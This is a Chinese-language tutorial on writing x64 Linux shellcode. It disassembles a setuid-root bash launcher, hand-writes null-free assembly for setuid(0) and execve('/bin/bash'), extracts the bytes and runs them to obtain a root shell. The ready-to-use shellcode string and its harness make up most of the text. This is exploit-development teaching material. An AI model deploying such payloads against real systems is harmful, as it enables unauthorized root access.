shellcode x64

shellcode编写

retsh.c

// retsh.c

#include<unistd.h>

char* buff[] = {
    "/bin/bash"
};

void main(){
    setuid(0);
    execve("/bin/bash", buff, NULL);
}
rz$ gcc retsh.c -static -o retsh
rz$ sudo chown root.root retsh
rz$ sudo chmod u+s retsh
rz$ ./retsh
root# whoami
root

分析生成的文件

rz$ r2 retsh

> s main
> pdf
|   sym.main ();
|           0x00400b4d      55             push rbp
|           0x00400b4e      4889e5         mov rbp, rsp
|           0x00400b51      bf00000000     mov edi, 0
|           0x00400b56      e8957f0400     call sym.__setuid    # setuid
|           0x00400b5b      ba00000000     mov edx, 0
|           0x00400b60      488d3589852b.  lea rsi, obj.buff           ; 0x6b90f0
|           0x00400b67      488d3d561409.  lea rdi, str.bin_bash       ; 0x491fc4 ; "/bin/bash"
|           0x00400b6e      e84d7f0400     call sym.execve      # execve

> s sym.__setuid
> pdf
|   sym.__setuid (int arg1);
|           0x00448af0      4883ec38       sub rsp, 0x38               ; '8'
|           0x00448af4      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x00448afd      4889442428     mov qword [local_28h], rax
|           0x00448b02      31c0           xor eax, eax
|           0x00448b04      48833dc40427.  cmp qword [0x006b8fd0], 0
|       ,=< 0x00448b0c      752a           jne 0x448b38
|       |   0x00448b0e      b869000000     mov eax, 0x69               ; 'i' ; 105
|       |   0x00448b13      0f05           syscall

> s sym.execve
> pdf
|   sym.execve ();
|           0x00448ac0      b83b000000     mov eax, 0x3b               ; ';' ; 59
|           0x00448ac5      0f05           syscall

如上,编写相应的汇编代码

注:/bin/bash转换为16进制表示为0x2f62696e2f62617368,由于内存中是小端存储,将其反转为0x687361622f6e69622f,长度18,可以先将0x68压栈,在将0x7361622f6e69622f压栈,此时,rsp所指向的字符串为/bin/bash,将rdi指向此处即可。

; shell.asm

global _start

_start:

xor rdi, rdi
; setuid(0)
xor eax, eax
mov al, 0x69
syscall         ; setuid

xor rax, rax
mov al, 0x68
push rax
mov rax, 0x7361622f6e69622f
push rax
mov rdi, rsp    ; str.bin_bash; "/bin/bash"

xor rax, rax
push rax
mov rax, rsp
push rax        ; 此时rsp就是 "/bin/bash"地址的指针
mov rsi, rsp    ; obj.buff; {"/bin/bash"}

;xor rsi, rsi
xor edx, edx      ; edx

; execve("/bin/bash", {"/bin/bash"}, NULL) 
xor eax, eax
mov al, 0x3b
syscall         ; execve

编译链接

rz$ nasm -f elf64 shell.asm -o shell.o
rz$ ld shell.o -o shell

提取shellcode

# extract.sh

if [ $# != 1 ]; then
    echo "Usage: $1 obj.o"
else
    for i in `objdump -d $1 | grep "^[[:space:]]*[0-9a-f]\+:" | cut -f 2`; do
        echo -n \\x$i
    done
    echo
fi

在提取之前先观察shellcode,会发现很多00字符,需要进行修改过滤掉这些怀字符,如下:

  • 修改前: 修改前
  • 修改后: 修改后

之后提取shellcode:

` \x48\x31\xff\x31\xc0\xb0\x69\x0f\x05\x48\x31\xc0\xb0\x68\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x48\x89\xe7\x48\x31\xc0\x50\x48\x89\xe0\x50\x48\x89\xe6\x31\xd2\x31\xc0\xb0\x3b\x0f\x05 `

验证

为了验证shellcode可以编写一个简单的c程序:

#include<stdio.h>

char* shellcode = "\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05"
"\x48\x31\xc0\xb0\x68\x50\x48\xb8\x2f\x62\x69"
"\x6e\x2f\x62\x61\x73\x50\x48\x89\xe7\x48\x31\xc0\x50\x48"
"\x89\xe0\x50\x48\x89\xe6\x31\xd2\x31\xc0\xb0\x3b\x0f\x05";

void main(){
    puts("shellcode ~~~");
    ((void (*)(void))shellcode)(); //将shellcode当作函数执行
}
rz$ gcc shell.c -o shell.out
rz$ sudo chown root.root shell.out
rz$ sudo chmow u+s shell.out
rz$ ./shell.out
root# whoami
root

代码

安全从业者